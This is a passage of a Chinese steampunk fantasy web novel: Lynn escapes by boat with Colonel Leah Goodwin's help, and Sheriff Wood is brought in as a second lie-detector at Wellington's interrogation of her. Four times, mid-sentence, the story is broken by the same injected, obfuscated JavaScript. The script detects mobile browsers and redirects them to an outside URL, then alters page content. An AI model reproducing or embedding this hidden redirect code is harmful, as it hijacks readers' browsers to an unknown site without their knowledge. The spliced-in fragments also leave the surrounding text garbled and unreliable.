林恩依葫芦画瓢,成功启动了蒸汽船,立即驶入大海! 这艘船的动力并不如莱亚的海军蒸汽艇,林恩加大了马力,速度却并不如人意。 她叹了口气,只好任由小船在海域中飘荡。 启动蒸汽船并不难,难的是在一望无际的海洋里识别方向。 林恩尽管拥有“回忆”,却到底没有识别地图的技能,很快就无法辨别自己的位置了。 她好像……迷路了。 该死的。 林恩暗骂了一句,只好依据蒸汽艇的指北针,胡乱沿着西北38度的方向往海湾内驾驶。 就算目的地不是四号码头,也会是碎金城。 林恩心想。 也不是漂浮了多久,眼前忽然出现一个小小的白色斑点。 林恩皱眉目视着,惴惴不安地抚摸着已经湿透的蒸汽枪。 现在,她没有其他武器了。 好在,来人是莱亚·古德温。 “快,跳上来!”他紧锁眉头,“趁威利斯先生的异能还没有启动,我们赶紧离开。” “什么异能?” 林恩把公文包甩进莱亚船上,随后扶着船架探身出去。 海风如狂躁的巨兽,吹打林恩本就湿透的衣服。 她只觉得,自己的身体完全被冰冻住。 “博学者。他有一本百科全书,每天可以在上面写入一条百科,这条内容就变成必然发生的事件。”莱亚迅速解释,一边伸开双臂,准备接住林恩。 “嘭——” 林恩敏捷地跳上莱亚的巡逻船,随后从口袋里掏出什么。 莱亚注意到,她似乎把酒液倒在蒸汽船的坐垫上。 “你要干什——” 还没等他说完,林恩就催促他迅速驶离,随后启动了巡逻船的“炮击”功能。 一枚小型迫击弹射出,狠狠砸在蒸汽艇上。 轰隆的巨响,伴随着漫天的浓烟,蒸汽艇尚未耗尽的瓦斯重新变成燃料,将整艘船吞噬。 莱亚:“……” 这女人有点太狠了。 林恩目睹着远处逐渐沉没的蒸汽艇,总算是松了口气。 随后,她又把铁质手杖丢进海里。 所有证据都已消失,她或许还能安全一阵。 不过—— “古德温上校,你怎么会返航?”林恩侧头看了一眼,“不是说绝不会回来救我吗?” “你一点都不感激吗?” 莱亚睨了林恩一眼,发出一声自嘲的冷笑。 “当然感激。” 林恩叹了口气,“我欠你一个巨大的人情。” “知道就好。” 林恩还在等待莱亚的后半句,等待他主动提出与自己的“信徒晋升交易”,却哪知他就此闭嘴,不再多言了。 既然如此,林恩只好主动提议: “我会尽快找到七级神殿的,不会让你白付出。” 莱亚“嗯”了一声,目视着前方的茫茫大海,随后单手解开外套。 “披一下吧,你身上都湿透了。” 他没有看林恩一眼,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430441|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把衣服放在她手上。 “谢谢你。” 林恩吸了吸鼻子,忽然觉得一阵痒痒,随后打了个喷嚏。 她没有拒绝,老老实实地穿上莱亚的外套,终于良心发现提醒他: “在詹姆斯·威利斯那里,你可能暴露了。” 莱亚点头,完全没有不安,“我知道。” “那怎么办?”林恩蹙眉,忧心忡忡地望着他。 “技不如人,自然只好愿赌服输了。”莱亚勾了勾嘴唇,“我已经弃暗投明,转而支持保守派了。” 林恩想了想,“你是说首相约翰·斯托克?” “还有你们的首席审查官,阿曼达·德·波尔;我的长官、陆军元帅辛迪·伊迪丝。”莱亚说,“总之,人员众多,我只要留在军队,就不会太危险。” “那威利斯代表了哪一方的势力?” “工党。你认识的威灵顿家族,还有死去的亨利·朗。”莱亚言简意赅,“不过,威利斯先生还与教会有深切的联系,他是个八面玲珑的人。” 教会? 林恩眼皮跳了跳,脑中隐隐约约有什么已知的事件连线织网,却尚未收束起来。 这种求而不得的感觉让林恩万分难受。 她咬了咬嘴唇,看向满脸冷静的莱亚。 “总之,如果你需要帮忙,可以随时来找我。” 莱亚沉默着行驶在未定的航线上,许久没说一句话。 如此颓唐的样子,反倒让林恩不习惯。 “你是……因为暴露而不安吗?” 莱亚扶着方向舵,“我?不安?” 他干脆地摇了摇头,否认自己的情绪。 “你一直喊他‘威利斯先生’这样的尊称。”林恩说,“他应该对你很重要,是吗?” “他是我的救命恩人。” 过了许久,久到林恩觉得莱亚很有可能避而不谈之时,他才缓缓开口。 “既然救了我,又为什么想杀掉我?我不明白这一点。” “因为威利斯……是个普通人。”林恩说,“偶尔善良、偶尔自私的普通人,但偏偏拥有足够强大的异能。” 莱亚从没听过这样一种描述。 林恩不再继续交谈威利斯的话题,反而揉了揉太阳穴,陷入沉思。 “头疼是吗?我会送你去阿格尼格的诊所。”莱亚注意到她的煎熬,主动提议道。 “不行,今天不安全。” 林恩摇着头,“我家还剩了几支,今晚回去再喝一次吧。” 但她的思索并非因为精神受损,而是源于一件不久之前发生、但几乎抛在脑后的事情。 “你为什么觉得威利斯不会杀你?”林恩试探着问出口。 “因为谎言识别——他甚至都不愿意让我晋升。” 莱亚平静地阐述着他异能的不可取代性。 “如果……出现第二个谎言识别呢?” 莱亚瞬间愣住。 他不是没考虑过这样的可能性,而是长久以来从未出现过类似的异能,他不具备足够的居安思危,便理所应当地忽略了。 “你认识第二个谎言识别?”片刻之后,莱亚询问道。 林恩的言语滴水不漏:“我知道有这样的人存在。” 有这样的人…… 莱亚虽面色不改,内心却疑惑万分: “在碎金城?” “不在。” 这便对了! 倘若另一个“谎言辨别”的信徒在碎金城出现,他没有理由不知道。 莱亚道:“既然如此,威利斯先生过河拆桥,也是再正常不过的了。” 正常……吗? 林恩并不觉得威利斯有机会认识巨龙镇的治安官伍德。 除非威利斯使用了某种异能。 不过,这个可能性很快被莱亚否决了。 “我两周前提出晋升,还被威利斯先生狠狠否决。直到康纳利审查官葬礼那天,他的态度才勉强松动了。” 林恩面色沉郁: 威利斯松口的时机相当微妙,诡异得令人头皮发麻。 38. 替身玩偶的身份 巡逻艇停泊在一号码头处。 林恩拦下出租马车返回桔梗街,莱亚·古德温则需要返回海军基地。 威利斯先生对他的疑心与日俱增,如今已经到了想要谋害他的地步,莱亚只觉得分外荒唐。 但是,他没有办法与“神学院”作对。 海军基地就在一号码头附近,是一栋蛋壳白色的庞大建筑,拥有一座高高的半圆形穹顶。 莱亚冲着门前的守卫点头示意,而后走进大门。 他的临时办公室位于五层,紧挨着巨大的露台,可以站在那里享受整片美丽的海湾。 手摇升降机发出“叮”一声脆响。 莱亚仰头看了眼指针,刚好指在数字“5”上。 他没有多想,径直迈进升降机内,随后依次关闭两扇铁质大门。 履带缓慢上升,发出吱嘎吱嘎的响声。 厚实的楼板在莱亚面前逐渐下降。 一层、两层…… 数到第四层楼板时,他首先看到的并非华丽光亮的地砖,而是两只黑色皮鞋。 皮鞋上方,是黑色的制服裤。 紧接着,是挺拔的胸膛,以及同色的制服外套。 以及左胸口袋别着的“E·M”金属铭牌。 一张熟悉到令人作呕的面孔终于显现。 艾迪·穆德。 他睥睨着看向莱亚,嘴角虽扬着,却并没有掩饰自己的不屑。 “你回来了,忙碌的古德温上校。” 莱亚攥着手中的胡桃木手杖,并未露出任何怯懦。 升降机停了下来,莱亚缓慢地打开两扇铁质大门,随后向前迈了一步。 “找我有事吗?” 他将手杖撑在双腿之间,绿眸中闪着不悦与讥讽。 “詹姆斯·威利斯去哪里了?” 莱亚懒懒地抬眼看着他,“竟然还有七级信徒替身玩偶不知道的事情?” 艾迪·穆德冷哼一声,忽略他的冷嘲热讽。 “我再问你一遍,他去哪里了?” “我又没见到他,问我做什么?” 莱亚眯了眯眼睛,意识到“替身玩偶”的视线总是隐约瞥向露台,心中升腾起诡异的担忧。 ——他在看谁? “你在撒谎。” 艾迪的声音带着不容置疑的决断,“你知道詹姆斯·威利斯的下落。” 莱亚叹了口气。 他微微抬起手杖,狠狠地击打在艾迪·穆德的左腿上,发出“嗡”一声闷响。 黄铜制成的假肢在外力的袭击下脱离原始位置,艾迪·穆德吃痛地呻吟一声,随后对莱亚怒目而视。 一脸不耐的莱亚终于再次张口: “滚开。” “你一辈子都别想晋升七级信徒了,莱亚·古德温。”艾迪在他身后幽幽道,“我可以让詹姆斯·威利斯把你赶出神学院。” “替身玩偶,既然你和威利斯先生关系这么好,为什么会不了解他的行踪呢?” 莱亚拧开门把手,侧头看向艾迪,并不理会他的威胁。 “难道说……你也不被他信任吗?” 该死的。 艾迪·穆德眼神里是明晃晃的杀意。 他早就料到,莱亚·古德温是养不熟的野狗,他绝对做不到忠诚。 他就和自己的名字一样,永远是个撒谎者(Liar)。 即便—— 他的异能是“谎言识别”。 不过没关系,艾迪心想,他已经找到第二个谎言识别者了。 莱亚·古德温换回便服、从办公室出来之后,发现艾迪·穆德已经悄无声息地离开。 他的离开与到来一样莫名其妙。 尽管反复安慰自己,替身玩偶只不过是狐假虎威,但莱亚不得不正视来自“神学院”的威胁。 他悲哀地意识到,随着艾迪的强势介入,威利斯先生已对自己失去信任。 ——尽管,威利斯也并没有因此而信任艾迪。 莱亚拦下出租马车,原本想直接回家,话到嘴边却拐了个弯。 “去陆军总署,先生。” “好的,先生。” 车夫转动机械卷轴,重新开始计价。 马车穿过洋湾区,需要经过繁忙的桔梗街。 林恩望着一辆辆疾驰而过的出租马车,颇为无奈地叹了口气,一边捏着刚刚送到的信件。 其实一共有两封信: 一封来自首席审查官阿曼达·德·波尔,要求林恩翌日起恢复工作,停止病休假。 另一封,则来自国民卫队的帕尔玛医疗官。 她邀请林恩前往中央大区的综合图书馆,说是有要事商谈。 医疗官帕尔玛不是坏人,已经有足够多的事件证明这件事了。 只不过,她也绝对不是那一类林恩试图亲近的人。 在如此拥挤的时段,林恩最终还是没能拦下出租马车。 她沮丧地叹了口气,沿着桔梗街慢吞吞地步行,打算乘坐齿轮高架车前往,一边在心里默默祈求帕尔玛不要苛责自己。 道路尽头是一家咖啡店。 林恩的前行路线被几张桌子堵住,她不得不绕了个弯,一边观察着店铺的“今日推荐菜”。 唔……红酒鹅肝。 很无趣的搭配。 她在心里嘟囔着,肩膀却被轻轻拍了一下。 “审查官,您是打算吃晚饭吗?” 艾迪穿着与往常相同的飞艇驾驶员制服,悠闲地坐在车架上,笑意盈盈地看着她。 “你怎么在这里?” “唔,我在工作。”他耸了耸肩,“我可没有理由被豁免工作。” 面对他明晃晃的嘲讽,林恩翻了个明目张胆的白眼。 “得了,什么时候你被砖头砸得头破血流就知道了。” “不说这个了。” 艾迪跳下车驾,往前迈了一步,“你知道吗,前几天康纳利审查官的葬礼上……似乎有个人失踪了。” 林恩哪能不知道! 人甚至都是她亲手解决的。 她并不回答问题,而是没好气地发起火: “所以呢?首席审查官又要让我干这些脏活吗?” 艾迪歪了歪头,露出一副不明所以的模样:“……脏活?” “一会儿是找莫名其妙丢掉的钱包,一会儿又是找丢掉的人——” 林恩语气里满是埋怨,“失踪的人自己会回来的,回不来的也没有找的必要了,不是吗?” 虽说是这个道理,但未免有些太不近人情了。 艾迪无奈地看着大发雷霆的审查官,轻轻叹了口气。 “等等——” 林恩忽然意识到了什么,揪着艾迪的衣襟。 “你从哪里知道的?” “知道什么?”艾迪心脏快速跳动两下,眨巴着眼睛询问。 “失踪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433744|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊,这个啊……” 艾迪咽了下口水,又挠了挠鼻尖,“大家都在谈这件事呢。” 都在谈? 林恩大概猜到艾迪在撒谎,却又不知从何处反驳,只好把话咽了下去。 艾迪看了眼黄铜色的怀表,表情有些仓促。 “罢了,不跟您聊天了,我还得回去交差呢。” 回去? 林恩眼睛亮了下,打算跟着艾迪一起爬上马车。 “那就顺便载我一程吧,我也要去中央大区。” “不行哦。” 艾迪的整个身体把车门遮挡得严严实实,丝毫不让林恩进去半步。 “我不回国民卫队,审查官,我们不同路。” 不对劲! 艾迪的态度诡异得出奇了。 林恩眯了眯眼,“就不能特意送我一程吗?” “实在是有些抱歉,审查官,还是个挺要紧的事情呢!” 艾迪语速极快,似乎是忧心林恩真的钻进去,他立刻启动了机械马车,滚滚蒸汽冒了出来,喷了林恩满身。 也没必要这个样子。 林恩瞠目结舌的模样穿过机械马车的百叶窗,映入前巨龙镇治安官伍德眼底。 他在四个小时之前,刚刚从布德林车站走出来。 这是他第一次踏入碎金城,这座传闻中奢靡、繁华又满是罪恶的王都。 一切都是……因为艾迪·穆德。 伍德咳嗽了几声:碎金城的空气里似乎漂浮着臭气熏天的碎屑,光是吸进肺里,就让他觉得不适了。 这让他更怀念巨龙镇。 “抱歉,耽搁了一会儿。” 艾迪的声音从门外飘了进来,“或许你见过她,是一名审查官。” 伍德从脚下的行李箱里拿出他的水壶,湿润了一下喉咙,随后回答道: “没印象了。” “没有关系,过几天会有印象的。” 过几天? 伍德强烈的不安在心头泛滥。 他并不是主动要来碎金城的,而是被一群黑袍人强迫着前来。 他们用各种财宝利诱自己,并承诺加入“神学院”之后,会拥有更多财富、地位、权力,以及一切伍德并不在乎的东西。 伍德并没有打算接受,但他的拒绝最终被威逼堵回喉咙。 “巨龙镇是个好地方,您觉得呢?”粗胖的男人威胁着,“您大概不希望,这里变成西格林郡吧?” 西格林郡…… 即便身在偏僻的巨龙镇,伍德也听说了那里发生的惨剧。 空匪飞艇在西格林郡展开自/杀式袭击,搭载的大量□□炸毁了大大小小的城镇,无数可怜的平民死在了炽烈的火焰与烟尘中。 “是你们干的?”伍德问。 “当然不是,但我们有办法让巨龙镇也变成这样的人间地狱。”粗胖男人说着,丢出一个空皮箱。 “先生,所以,您要跟我们离开吗?” 那只空皮箱,最终被塞满了他的物品,被带上了火车。 如今,就放在他的脚边。 伍德搓了搓脸颊,反复思考着这些信徒的言辞,却最终发现他对这个世界一无所知。 伍德唯独确认一件事: 他的信徒身份,以及“谎言识别”的异能,是让他沦落此种境地的最大原因。 他怀揣着巨大的宝石,但是却没有足够的能力保护它。 39. 噬土畸体 综合图书馆外,帕尔玛终于见到了姗姗来迟的林恩。 还没等林恩发话,帕尔玛率先拦住她。 “跟我来。” 她言辞短促却不容拒绝,难免让林恩生出些不安。 帕尔玛领的路,是从综合图书馆后门进入、穿过乱糟糟的库房,用一把陈旧的黄铜钥匙打开木壁上一扇不引人注目的门。 伸手不见五指的门洞里,完全不知道藏着什么。 即便不愿,林恩还是被一巴掌拍进了房门里。 帕尔玛“嘭”一声关上门,又在墙壁上摸索了几秒,终于找到一枚开关。 瓦斯灯亮起,发出嗡嗡的细微声响。 微弱的灯光照亮了这间狭窄的房间,林恩张望着,发现这里不过是另一件图书室,看上去没什么特别的。 只不过,帕尔玛怎么会有这里的钥匙? “审查官,原谅我只能在这里跟你讲话。”帕尔玛率先开口,表情严肃。 “这几天我抽空翻阅了综合图书馆里的各类藏书,最终找到了点线索。” 一边说着,她一边从书架上抽出一本旧书。 这是一本精装的牛皮书,由内页的泛黄程度来看,这本书的年纪绝不算短。 封面空无一字,但摸上去滑腻腻的,像是触摸着搁浅的鱼类,手感坑坑洼洼。 “这本书没有名字,但记载了很多异种生物。” 帕尔玛在某一页中间已夹过书签,于是轻而易举地翻开,“你看这里。” 光线暗得出奇。 林恩不得不把眼珠粘在纸页上,定睛看着斑驳泛灰的文字。 也正因此,她先感受到的并不是书中的内容,反倒是纸页潮湿的霉味,以及一阵若有似无的鱼腥味。 ——这让林恩立刻想到康纳利审查官的日记本。 那本她恋恋不舍但最终沉入湖底的日记本。 林恩忽然意识到,现在不同以往。 她已经成为八级信徒“记忆宫殿”—— 异能可以轻松帮助她探查到康纳利日记本里那些“神谕文”的模样。 也就是说,她现在重新获得了探查康纳利日记本的机会! “你有在认真看吗?”帕尔玛不满地问出声。 “嗯嗯,在看呢。” 林恩回过神,立即敷衍道。 【噬土畸体: 杀伤力弱,幼年体极其细小,可轻易寄生于人体。 死者通常皮肤如土壤般破碎,内脏如潮湿的沙石,生存时间少于48小时。 一支净化药剂即可治愈。】 林恩翻了一页,紧接着阅读后面半份介绍。 【…… 通常存在于地底深处,难以被发觉。 一旦暴露在阳光之下,会立即死亡。】 仅凭这些描述,的确无法确认就是伤害男孩布鲁的异种生物。 只不过,这一页中还有一张手绘的异种生物图,与医疗官帕尔玛所绘的相差无几。 “噬土畸体……”林恩念了一遍,随后又翻看起这本书。 “是谁写的这本书?” 帕尔玛摇头,“我不知道。” “那你是怎么发现的?” “我的父亲是综合图书馆的管理员,因此我偶尔有机会翻阅一些等待归档的书。”帕尔玛说,“我在随意翻看的时候,看到了这本书。” 光是接触到林恩的实现,帕尔玛就已经知道她在想些什么。 她无力地辩解道: “亨特,我也觉得巧得像是谎言……但事实的确如此。” 帕尔玛所述并不像谎言,林恩愿意信任她。 但她不相信巧合。 一定有人在背后搞鬼。 “我忽然想起一件事。” 林恩把书本翻到扉页,目不转睛地盯着纸张,却心神不宁地交谈着, “…地底深处、见不到阳光……这些词都对应了一个地方。” “什么地方?” 林恩没有直接回答,“结合钱包的主人亨利·朗先生——” 朗氏矿业公司? 采矿! 帕尔玛脱口而出,“你是说绯通亚矿场?!” “这只是我的猜测,帕尔玛,完全没有根据。” 就连林恩自己都无法相信自己。 “可是——” 帕尔玛下意识想要反驳,话到嘴边却不知该说些什么。 好像没什么“可是”,这种猜测虽然大胆,却相当合理。 布鲁接触过钱包; 钱包的丢失者亨利·朗发了疯似的寻找; 在布鲁的异状被发现之后、亨利·朗也被灭口…… 或许真的与朗氏矿业公司脱不了干系! “审查官,是不是有其他线索指向朗氏公司?”帕尔玛思索许久,忽然发问。 ——倘若她们共享信息来源,没道理她推测不出这个结论。 帕尔玛一向对自己的头脑很自信。 林恩点了点头。 在帕尔玛露出恍然表情之时,林恩已经把这本书从头到尾潦草翻看完毕,全部记录在她的“记忆宫殿”里。 “现在唯独值得怀疑的是……噬土畸体为什么会被千方百计地带出地底。”林恩说,“朗氏若是把缘由推给‘巧合’,我是无法相信的。” “有意为之吗?”帕尔玛若有所思。 “好了,我们已经知道害死布鲁的是异种生物,也知道这个异种生物的名字。” 林恩耸肩,“我觉得我的调查可以到此为止了,总之这些事与我无关。” 她已经下定决心把这件事甩出去—— 已与异种生物多次交手,林恩觉得这种东西还是离得越远越好。她完全没有信心能够“打败”异种生物,更没有信心能与异种生物的饲养者对峙。 帕尔玛对她的行为表示理解。 分别之前,她额外提了个醒。 “对了,审查官,威灵顿那边似乎有些眉目,他这两天一直频繁来往东区。明天您一定得小心。” == 尽管收到了提前的警示,林恩却还是被蒙德里安·威灵顿打得措手不及。 翌日的独立审查官会议上,威灵顿咳了几声,朝阿曼达·德·波尔提出申请,请求审讯爆炸案的亲历者。 林恩赫然在列。 “好歹我也是独立审查官,我要求由两个以上的独立审查官,或由首席审查官来审讯我。”她开口,目光落在蒙德里安身上。 此人不慌不忙,似乎一切尽在掌控之中。 “可以。”蒙德里安说道,“不过挣扎是无意义的,亨特审查官。” “看样子您已经给我定罪了。” 林恩拨弄着手指,“既然这样,就直接把我关押起来吧,您觉得呢?” 蒙德里安·威灵顿面色发灰,转念一想林恩也蹦跶不了多久,便忍了这口气。 他扬起头,看向正前方的阿曼达审查官。 “首席,您来负责亨特审查官的审讯吧。” 蒙德里安·威灵顿到底伪造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439972|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了什么铁证? 他凭什么这么嚣张? 林恩拧起眉,执笔的手不安地晃动了几下。 欲加之罪,何患无辞。 倘若蒙德里安铁了心要对付自己,那她应该如何应对呢? 众人视线的聚焦处,阿曼达审查官点了点头,最终答应下来。 “好,那便由我负责。” 她的目光与林恩的目光撞击在一起。 ——阿曼达审查官会帮助自己吗? 林恩对此表示怀疑。 会议结束。 林恩跟在阿曼达审查官身后,进入国民卫队高塔地下一层的审讯室。 她张望着四周,对这里很熟悉: “几天前我才来过这里。威灵顿审查官,你说是吗?” “少啰嗦了。” 蒙德里安·威灵顿冷哼道,“审讯即将开始。” “等一下。”阿曼达朝助手招手,“去叫一下古德温上校。” “不必麻烦他。”威灵顿审查官道,“我这里有另一个异能为谎言识别的信徒。” 此言一出,众人哗然。 另一个“谎言识别”? 竟然是为威灵顿审查官卖命的?! 众人的窃窃私语声让林恩有些不屑,她微微掀了下眼皮,掷地有声道: “万一是冒牌货呢?” 威灵顿审查官被问得发懵。 他没料到这个问题。 “那就让古德温上校一道审讯。”阿曼达一锤定音。 她不是不相信第二个“谎言识别”,而是不信任威灵顿。 助手的汇报适时传来: “古德温上校的马车已经到达国民卫队了,首席审查官。” 林恩不安地捏着指尖,试图通过疼痛缓解紧张。 相比起彻头彻尾的陌生人,她寄希望于莱亚·古德温的“帮助”—— 他们毕竟一同经历过危机,林恩甚至还欠莱亚一个人情。 闻言,威灵顿审查官瞪了学徒波顿一眼。 后者立即明白他的意思,疾步走出审讯室,须臾复返,凑近威灵顿审查官的耳朵窃窃私语。 “唔,我明白了。” 蒙德里安·威灵顿总算露出笑意,大声说道: “另一名‘谎言识别’信徒、治安官伍德也到达了。” 治安官伍德? 林恩差点没敢信自己的耳朵。 隶属于龙骸郡的巨龙镇治安官伍德? 那个引领自己变成信徒的伍德? 铁门剐蹭在地面上,摩擦出令人头皮发麻的响声,如被猛兽利爪抠住头骨。 一袭沙黄色治安官制服的伍德推门而入。 他并没有侧目,但余光却已准确地识别出了林恩。 伍德没想到,自己第一个“审讯”的对象,经是林恩·亨特。 康纳利的学生、“永恒树”的信徒、……他决不该害她! 伍德克制着自己,将目光远离威灵顿审查官: 他害怕碰上那双恶鬼般的眼睛。 倘若帮了林恩,那么巨龙镇很有可能在劫难逃;倘若为巨龙镇做了伪证,林恩又会锒铛入狱…… 伍德恨不得将长刀扎进威灵顿的胸口,但他做不到。 “这就是你找来的援兵?” 莱亚·古德温的嗓音缓缓传了进来,碧绿色的眼珠拥有翠羽花汁的色泽。 “人都到齐了,那就开始吧。” 威灵顿审查官看也没看莱亚一眼,就匆忙地开口。 40. 第二个“谎言识别” 林恩在空气中嗅到若有似无的洗脑药雾的气味。 桂绿脑的浓重药味,即便被清水稀释过许多倍,却仍旧无法被遮盖掉。 “亨特审查官,我怀疑你有杀害亨利·朗的嫌疑。” 威灵顿清了清嗓子,一边呆板地念着审讯报告的第一行。 林恩沉沉的不安终于落地。 终究还是因为爆炸案的事情。 “经由特里奇审查官与我的调查,发现位于朗氏矿业公司的亨利·朗办公室内,充斥着大量易燃瓦斯,这也是爆炸的最主要原因。” “瓦斯的来源呢?” “通话管。” 威灵顿说着,抬眼瞟了眼林恩。 “由于通话管的爆炸情况更为严重,因此我们怀疑通话管内被提前装有无色无味的浓缩瓦斯。” 这倒与林恩的推测并无二致。 “而那天,唯一拜访亨利·朗的访客,就只有林恩·亨特。所以不难怀疑,她特意去拜访亨利·朗,就是为了让通话管打开、让瓦斯气体充斥房间。” 这简直是暴论。 前几句话还算得上有理有据,可此话一出,林恩瞬间觉得威灵顿那张算得上“德高望重”的老脸都蠢了几分。 林恩嗤笑了一声,“威灵顿,之所以我是唯一的访客,是因为我是第一个。” “强词夺理!” 威灵顿审查官怒目圆睁,一副不可置信的模样。 只不过,威灵顿被伤害的,不过是他高高在上的威严罢了。 “无论是谁拜访,亨利·朗都会死。” 林恩不再搭理他,而是对着阿曼达审查官解释。 “首席,您听明白我的意思就行。” “……” 阿曼达侧目看了眼威灵顿,随后冲着林恩点点头。 “在这一点上,你的确无可指责。” 见状,威灵顿审查官心有不甘,死死盯着林恩: “那么,你为什么要去找亨利·朗?” 林恩翻了个巨大的白眼,有种鸡同鸭讲的无力感。 “因为他的钱包,你忘记了吗?还是你非要我完成这个任务的。” “前一天,你已经拜访过亨利·朗,为什么第二天一早又要再次拜访?” 一边说着,威灵顿一边向阿曼达展示朗氏矿业公司的访客登记单。 “因为我想与他交涉,让他不要继续追究钱包的事情。” “不,你错了。” 威灵顿得意地哈哈大笑,目光望向一旁坐着的两位“谎言识别”信徒。 “前一天你前往了东区治安所,询问了相关事宜之后,带走了一位犯病的孩童。” 林恩蹙眉:他竟查到布鲁了。 不能再这样下去—— 不能再让威灵顿随意掌控全局,她会轻易走进威灵顿的陷阱里。 林恩咽了下口水,大脑飞速运转。 “审查官,您调查的究竟是爆炸案,还是我?” 说罢,林恩用舌尖舔了舔干涩的嘴唇,唇枪舌剑之后,她觉得有些干渴。 阿曼达的助手见状给林恩端来一杯清水。 在林恩埋头喝水的空档,威灵顿问出今日的第一个聪慧的关键问题。 “所以,你为什么要去东区?” “嗯?” “没有任何线索指向东区,那你为什么要去东区?” 为什么要去东区? 林恩预先准备好的回答是“枚举法”:这是碎金城最贫穷最混乱的区域,东区是她的第一个选择。 但当她的眼神瞟向莱亚和伍德时,林恩忽然变了个主意。 “亨利·朗的主意,他说偷窃者来自东区。” 苦荞味。 一个彻头彻尾的谎言。 莱亚·古德温垂下眼睑,盯着面前的空白纸张发愣。 “治安官伍德,她说的是实话吗?” 在莱亚的不安中,威灵顿果不其然发问了。 “是的,先生。审查官没有撒谎。” 叠加的苦荞味扑鼻而来。 伍德的谎言让莱亚一惊,随后不受控制地抖了两下胳膊。 ——他为什么会撒谎?! 他不是威灵顿的人吗? “古德温上校?” 莱亚回过神,听见阿曼达审查官的疑问。 他迅速点头,“是的,她没有撒谎。” 林恩勾了勾唇,用一个无伤大雅的谎言试探出了治安官伍德的阵营。 果然,他并没有彻头彻尾地向威灵顿投诚。 “既然如此,你为什么要再次前往东区?” 威灵顿摊开笔记本,粗笨的指节指向其中一行: “亨利·朗死亡的当天,有目击证人表示,你带着布鲁的妹妹莉亚前往他们位于枫叶教堂的家。可以解释一下吗?” 林恩望着威灵顿,幽幽地叹口气, “我想,我没有必要向您解释我的一切去向。这与爆炸案无关。” 的确无关。 阿曼达有些不耐烦,她看了眼手表,又深深吐出一口气,后悔答应了威灵顿的审讯。 “算了,今天先到这里吧。” 她站起身,又指桑骂槐道:“亨特审查官,你没有必要围绕莫须有的事情做文章。” 林恩“嗯”了一声。 首席审查官的离席,使得这场荒唐的审讯被强行终止。 威灵顿仍有不甘: 他笃定林恩知道些什么,他笃定林恩绝非一无所知。 他甚至为此暴露了治安官伍德这枚棋子! 忿忿不平时,威灵顿面前一暗,竟是林恩站在他眼前,挡住了明亮的灯光。 “你很得意吧,亨特。” “恰恰相反。”林恩使劲拽着铁凳,拖拽到威灵顿对面,丝毫不管摩擦的声音有多么尖锐刺耳。 “我们为什么不能和平相处呢?” 蒙德里安·威灵顿没听过这么荒唐的话:“你在开玩笑吗?” “我为什么要开玩笑?” 林恩表情认真且严肃,“或许你看不爽康纳利审查官,但他已经死了,你还有什么不满足的呢?” 威灵顿面皮一皱,正是发火的迹象。 “我是什么人?我不过是一个小小审查官,凭什么值得您大费周折地关注我呢?” 林恩继续苦口婆心,“您的目标——” 她将声音压到最低,几乎是气声了。 “难道不是首席审查官吗?” 威灵顿双目圆睁,露出一副不可思议的神色。 “你在说些什么!” “嘘,小声些。” 林恩拽着他的袖子,“我觉得,您当然有能力成为首席,只不过是时运不济。” 虽说林恩此人令人厌恶,但蒙德里安·威灵顿又实在觉得她说到自己心坎上。 他咳了咳,态度莫名其妙地软化下来,“你不要说这种话。” “所以,请您继续针对我!”林恩说道,眼睛亮晶晶的,却说着蒙德里安毫不理解的话。 “?” “只有这样,阿曼达审查官才会有对您毫不怀疑——”林恩添油加醋道, “当你的全部精力拿来对付我时,怎么会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443996|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思争夺首席审查官的位置呢!” “!” 在林恩绘声绘色的模仿中,蒙德里安·威灵顿瞬间卷入她的逻辑里。 ——是了,花费如此巨大的精力对付亨特审查官没有意义,他实际上需要的是更高的地位和更大的官职! 想通这点,威灵顿审查官望向林恩的眼神深邃了些许。 “你先回去吧,亨特。” 他抬了抬眼,“我们……从长计议。” 成了。 林恩离开高塔、前往办公室的路上,内心闪烁着无尽的狂喜。 